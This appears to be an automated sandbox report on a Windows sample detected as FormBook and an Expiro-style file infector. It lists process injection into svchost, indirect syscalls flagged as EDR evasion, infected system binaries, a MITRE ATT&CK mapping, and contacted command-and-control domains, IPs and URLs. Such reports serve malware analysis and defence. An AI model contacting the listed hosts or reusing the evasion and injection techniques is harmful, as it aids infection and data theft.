Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F2F626 mov eax, dword ptr fs:[00000030h]	10_2_02F2F626
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F2F626 mov eax, dword ptr fs:[00000030h]	10_2_02F2F626
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F2F626 mov eax, dword ptr fs:[00000030h]	10_2_02F2F626
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F2F626 mov eax, dword ptr fs:[00000030h]	10_2_02F2F626
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F66620 mov eax, dword ptr fs:[00000030h]	10_2_02F66620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F68620 mov eax, dword ptr fs:[00000030h]	10_2_02F68620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F3262C mov eax, dword ptr fs:[00000030h]	10_2_02F3262C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F33616 mov eax, dword ptr fs:[00000030h]	10_2_02F33616
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F33616 mov eax, dword ptr fs:[00000030h]	10_2_02F33616
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F72619 mov eax, dword ptr fs:[00000030h]	10_2_02F72619
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F61607 mov eax, dword ptr fs:[00000030h]	10_2_02F61607
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FAE609 mov eax, dword ptr fs:[00000030h]	10_2_02FAE609
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F6F603 mov eax, dword ptr fs:[00000030h]	10_2_02F6F603
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F4260B mov eax, dword ptr fs:[00000030h]	10_2_02F4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F4260B mov eax, dword ptr fs:[00000030h]	10_2_02F4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F4260B mov eax, dword ptr fs:[00000030h]	10_2_02F4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F4260B mov eax, dword ptr fs:[00000030h]	10_2_02F4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F4260B mov eax, dword ptr fs:[00000030h]	10_2_02F4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F4260B mov eax, dword ptr fs:[00000030h]	10_2_02F4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F4260B mov eax, dword ptr fs:[00000030h]	10_2_02F4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F347FB mov eax, dword ptr fs:[00000030h]	10_2_02F347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F347FB mov eax, dword ptr fs:[00000030h]	10_2_02F347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F3D7E0 mov ecx, dword ptr fs:[00000030h]	10_2_02F3D7E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F527ED mov eax, dword ptr fs:[00000030h]	10_2_02F527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F527ED mov eax, dword ptr fs:[00000030h]	10_2_02F527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F527ED mov eax, dword ptr fs:[00000030h]	10_2_02F527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F3C7C0 mov eax, dword ptr fs:[00000030h]	10_2_02F3C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F357C0 mov eax, dword ptr fs:[00000030h]	10_2_02F357C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F357C0 mov eax, dword ptr fs:[00000030h]	10_2_02F357C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F357C0 mov eax, dword ptr fs:[00000030h]	10_2_02F357C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_03005636 mov eax, dword ptr fs:[00000030h]	10_2_03005636
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FB07C3 mov eax, dword ptr fs:[00000030h]	10_2_02FB07C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F5D7B0 mov eax, dword ptr fs:[00000030h]	10_2_02F5D7B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F2F7BA mov eax, dword ptr fs:[00000030h]	10_2_02F2F7BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F2F7BA mov eax, dword ptr fs:[00000030h]	10_2_02F2F7BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F2F7BA mov eax, dword ptr fs:[00000030h]	10_2_02F2F7BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F2F7BA mov eax, dword ptr fs:[00000030h]	10_2_02F2F7BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F2F7BA mov eax, dword ptr fs:[00000030h]	10_2_02F2F7BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F2F7BA mov eax, dword ptr fs:[00000030h]	10_2_02F2F7BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F2F7BA mov eax, dword ptr fs:[00000030h]	10_2_02F2F7BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F2F7BA mov eax, dword ptr fs:[00000030h]	10_2_02F2F7BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F2F7BA mov eax, dword ptr fs:[00000030h]	10_2_02F2F7BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FB97A9 mov eax, dword ptr fs:[00000030h]	10_2_02FB97A9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FBF7AF mov eax, dword ptr fs:[00000030h]	10_2_02FBF7AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FBF7AF mov eax, dword ptr fs:[00000030h]	10_2_02FBF7AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FBF7AF mov eax, dword ptr fs:[00000030h]	10_2_02FBF7AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FBF7AF mov eax, dword ptr fs:[00000030h]	10_2_02FBF7AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FBF7AF mov eax, dword ptr fs:[00000030h]	10_2_02FBF7AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F307AF mov eax, dword ptr fs:[00000030h]	10_2_02F307AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FEF78A mov eax, dword ptr fs:[00000030h]	10_2_02FEF78A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F38770 mov eax, dword ptr fs:[00000030h]	10_2_02F38770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F40770 mov eax, dword ptr fs:[00000030h]	10_2_02F40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F40770 mov eax, dword ptr fs:[00000030h]	10_2_02F40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F40770 mov eax, dword ptr fs:[00000030h]	10_2_02F40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F40770 mov eax, dword ptr fs:[00000030h]	10_2_02F40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F40770 mov eax, dword ptr fs:[00000030h]	10_2_02F40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F40770 mov eax, dword ptr fs:[00000030h]	10_2_02F40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F40770 mov eax, dword ptr fs:[00000030h]	10_2_02F40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F40770 mov eax, dword ptr fs:[00000030h]	10_2_02F40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F40770 mov eax, dword ptr fs:[00000030h]	10_2_02F40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F40770 mov eax, dword ptr fs:[00000030h]	10_2_02F40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F40770 mov eax, dword ptr fs:[00000030h]	10_2_02F40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F40770 mov eax, dword ptr fs:[00000030h]	10_2_02F40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F2B765 mov eax, dword ptr fs:[00000030h]	10_2_02F2B765
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F2B765 mov eax, dword ptr fs:[00000030h]	10_2_02F2B765
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F2B765 mov eax, dword ptr fs:[00000030h]	10_2_02F2B765
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F2B765 mov eax, dword ptr fs:[00000030h]	10_2_02F2B765
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F30750 mov eax, dword ptr fs:[00000030h]	10_2_02F30750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F72750 mov eax, dword ptr fs:[00000030h]	10_2_02F72750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F72750 mov eax, dword ptr fs:[00000030h]	10_2_02F72750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FB4755 mov eax, dword ptr fs:[00000030h]	10_2_02FB4755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F43740 mov eax, dword ptr fs:[00000030h]	10_2_02F43740
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F43740 mov eax, dword ptr fs:[00000030h]	10_2_02F43740
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F43740 mov eax, dword ptr fs:[00000030h]	10_2_02F43740
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F6674D mov esi, dword ptr fs:[00000030h]	10_2_02F6674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F6674D mov eax, dword ptr fs:[00000030h]	10_2_02F6674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F6674D mov eax, dword ptr fs:[00000030h]	10_2_02F6674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F29730 mov eax, dword ptr fs:[00000030h]	10_2_02F29730
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F29730 mov eax, dword ptr fs:[00000030h]	10_2_02F29730
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F65734 mov eax, dword ptr fs:[00000030h]	10_2_02F65734
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F3973A mov eax, dword ptr fs:[00000030h]	10_2_02F3973A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F3973A mov eax, dword ptr fs:[00000030h]	10_2_02F3973A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F6273C mov eax, dword ptr fs:[00000030h]	10_2_02F6273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F6273C mov ecx, dword ptr fs:[00000030h]	10_2_02F6273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F6273C mov eax, dword ptr fs:[00000030h]	10_2_02F6273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FAC730 mov eax, dword ptr fs:[00000030h]	10_2_02FAC730
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FEF72E mov eax, dword ptr fs:[00000030h]	10_2_02FEF72E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F33720 mov eax, dword ptr fs:[00000030h]	10_2_02F33720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F4F720 mov eax, dword ptr fs:[00000030h]	10_2_02F4F720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F4F720 mov eax, dword ptr fs:[00000030h]	10_2_02F4F720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F4F720 mov eax, dword ptr fs:[00000030h]	10_2_02F4F720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FF972B mov eax, dword ptr fs:[00000030h]	10_2_02FF972B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F6C720 mov eax, dword ptr fs:[00000030h]	10_2_02F6C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F6C720 mov eax, dword ptr fs:[00000030h]	10_2_02F6C720

Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

Process token adjusted: Debug

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	NtOpenKeyEx: Indirect: 0x140077B9B	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	NtQueryValueKey: Indirect: 0x140077C9F	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	NtClose: Indirect: 0x140077E81

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\BzK8rQh2O3.exe

Section loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\BzK8rQh2O3.exe

Memory written: C:\Windows\SysWOW64\svchost.exe base: 2519008

Jump to behavior

Source: C:\Users\user\Desktop\BzK8rQh2O3.exe

Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\BzK8rQh2O3.exe"

Jump to behavior

Source: BzK8rQh2O3.exe

Binary or memory string: Run Script:AutoIt script files (*.au3, *.a3x)*.au3;*.a3xAll files (*.*)*.*au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning

Source: C:\Users\user\Desktop\BzK8rQh2O3.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\AppVClient.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Queries volume information: C:\ProgramData\Microsoft\Windows NT\MSFax\Queue\TSTB36B.tmp VolumeInformation	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Queries volume information: C:\ProgramData\Microsoft\Windows NT\MSFax\TSTB37B.tmp VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\AppVClient.exe

Code function: 6_2_00760080 VirtualFree,VirtualFree,VirtualAlloc,GetUserNameW,GetComputerNameW,GetComputerNameW,

6_2_00760080

Stealing of Sensitive Information

Yara detected FormBook

Source: Yara match	File source: 10.2.svchost.exe.2d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.svchost.exe.2d0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.2005006372.0000000002D10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2003602986.00000000002D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected FormBook

Source: Yara match	File source: 10.2.svchost.exe.2d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.svchost.exe.2d0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.2005006372.0000000002D10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2003602986.00000000002D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	2 LSASS Driver	212 Process Injection	222 Masquerading	OS Credential Dumping	221 Security Software Discovery	1 Taint Shared Content	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	2 Virtualization/Sandbox Evasion	LSASS Memory	2 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	2 LSASS Driver	212 Process Injection	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	12 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	NTDS	1 Account Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Abuse Elevation Control Mechanism	LSA Secrets	1 System Owner/User Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	111 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Timestomp	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 DLL Side-Loading	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
BzK8rQh2O3.exe	75%	Virustotal		Browse
BzK8rQh2O3.exe	87%	ReversingLabs	Win32.Virus.Expiro
BzK8rQh2O3.exe	100%	Avira	W32/Infector.Gen
BzK8rQh2O3.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	100%	Avira	W32/Infector.Gen
C:\Program Files\Google\Chrome\Application\117.0.5938.132\elevation_service.exe	100%	Avira	W32/Infector.Gen
C:\Windows\System32\DiagSvcs\DiagnosticsHub.StandardCollector.Service.exe	100%	Avira	W32/Infector.Gen
C:\Windows\System32\AppVClient.exe	100%	Avira	W32/Infector.Gen
C:\Windows\System32\FXSSVC.exe	100%	Avira	W32/Infector.Gen
C:\Windows\System32\alg.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	100%	Joe Sandbox ML
C:\Program Files\Google\Chrome\Application\117.0.5938.132\elevation_service.exe	100%	Joe Sandbox ML
C:\Windows\System32\DiagSvcs\DiagnosticsHub.StandardCollector.Service.exe	100%	Joe Sandbox ML
C:\Windows\System32\AppVClient.exe	100%	Joe Sandbox ML
C:\Windows\System32\FXSSVC.exe	100%	Joe Sandbox ML
C:\Windows\System32\alg.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://18.141.10.107:80/ahu	0%	Avira URL Cloud	safe
http://54.244.188.177/sqhuoucbvpfptw	100%	Avira URL Cloud	malware
http://54.244.188.177/sqhuoucbvpfptwW	100%	Avira URL Cloud	malware
http://18.141.10.107/ahuM-	0%	Avira URL Cloud	safe
http://54.244.188.177/H	100%	Avira URL Cloud	malware
http://54.244.188.177/x	100%	Avira URL Cloud	malware
http://54.244.188.177:80/sqhuoucbvpfptws	100%	Avira URL Cloud	malware
http://schemas.micrXXG	0%	Avira URL Cloud	safe
http://18.141.10.107/ahu	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
cvgrf.biz	54.244.188.177	true	false	high
pwlqfu.biz	34.246.200.160	true	false	high
ssbzmoy.biz	18.141.10.107	true	false	high
pywolwnvd.biz	54.244.188.177	true	false	high

Contacted URLs

Name	Malicious	Reputation
http://wllvnzb.biz/wxwlgro	false	high
http://lrxdmhrr.biz/hnk	false	high
http://dwrqljrr.biz/jhjqfhvnwcnnm	false	high
http://knjghuig.biz/mygkicdwtcska	false	high
http://warkcdu.biz/wdqbfpac	false	high
http://rynmcq.biz/tebnqgy	false	high
http://knjghuig.biz/a	false	high
http://acwjcqqv.biz/cvgvkeodaeo	false	high
http://cvgrf.biz/flkkbmligcvmrctj	false	high
http://oshhkdluh.biz/jetrwdoymgqweqlr	false	high
http://rynmcq.biz/lglaocayhhpbni	false	high
http://ssbzmoy.biz/ggjlw	false	high
http://pywolwnvd.biz/sqhuoucbvpfptw	false	high
http://vcddkls.biz/eicnkswtpuoihir	false	high
http://pywolwnvd.biz/nxbrnchslf	false	high
http://eufxebus.biz/bjgvdeudf	false	high
http://cvgrf.biz/dufkpol	false	high
http://ssbzmoy.biz/ahu	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://54.244.188.177/sqhuoucbvpfptw	BzK8rQh2O3.exe, 00000000.00000003.1733011212.0000000000C77000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1736030447.0000000000C77000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1757872961.0000000000C77000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1743530984.0000000000C77000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1743990008.0000000000B84000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1734456516.0000000000B84000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1734887127.0000000000B84000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1736030447.0000000000B84000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1757872961.0000000000B84000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://54.244.188.177:80/sqhuoucbvpfptws	BzK8rQh2O3.exe, 00000000.00000003.1757872961.0000000000BF2000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1743990008.0000000000BF2000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1736030447.0000000000C00000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1734887127.0000000000C00000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1734456516.0000000000C00000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://18.141.10.107/ahuM-	BzK8rQh2O3.exe, 00000000.00000003.1758322463.0000000000B6A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://54.244.188.177/sqhuoucbvpfptwW	BzK8rQh2O3.exe, 00000000.00000003.1733011212.0000000000C77000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1736030447.0000000000C77000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1757872961.0000000000C77000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1743530984.0000000000C77000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://18.141.10.107/ahu	BzK8rQh2O3.exe, 00000000.00000003.1758322463.0000000000B6A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://18.141.10.107:80/ahu	BzK8rQh2O3.exe, 00000000.00000003.1757872961.0000000000BF2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://18.141.10.107/	BzK8rQh2O3.exe, 00000000.00000003.1758322463.0000000000B72000.00000004.00000020.00020000.00000000.sdmp	false		high
http://54.244.188.177/x	BzK8rQh2O3.exe, 00000000.00000003.1733197857.0000000000D8D000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1744833710.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1734822770.0000000000D8D000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1744568591.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1745163536.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1737280802.0000000000D8D000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1746579812.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1736599685.0000000000D8D000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1737178163.0000000000D8D000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1735908567.0000000000D8D000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1736723081.0000000000D8D000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1758121231.0000000000DD4000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1733503393.0000000000D8D000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1745592328.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1745421290.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1736845295.0000000000D8D000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1744676010.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1733825138.0000000000D8D000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1743165787.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1736468723.0000000000D8D000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1737068539.0000000000D8D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://54.244.188.177/H	BzK8rQh2O3.exe, 00000000.00000003.1743530984.0000000000B62000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://schemas.micrXXG	AppVClient.exe, 00000006.00000003.1740542601.0000000000575000.00000004.00000020.00020000.00000000.sdmp, AppVClient.exe, 00000006.00000003.1740328267.0000000000566000.00000004.00000020.00020000.00000000.sdmp, AppVClient.exe, 00000006.00000003.1739746989.0000000000510000.00000004.00000020.00020000.00000000.sdmp, AppVClient.exe, 00000006.00000002.1757094761.0000000000575000.00000004.00000020.00020000.00000000.sdmp, AppVClient.exe, 00000006.00000003.1740108258.0000000000517000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
54.244.188.177	cvgrf.biz	United States		16509	AMAZON-02US	false
18.141.10.107	ssbzmoy.biz	United States		16509	AMAZON-02US	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588590
Start date and time:	2025-01-11 02:48:59 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 44s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	3
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	BzK8rQh2O3.exe renamed because original name is a hash value
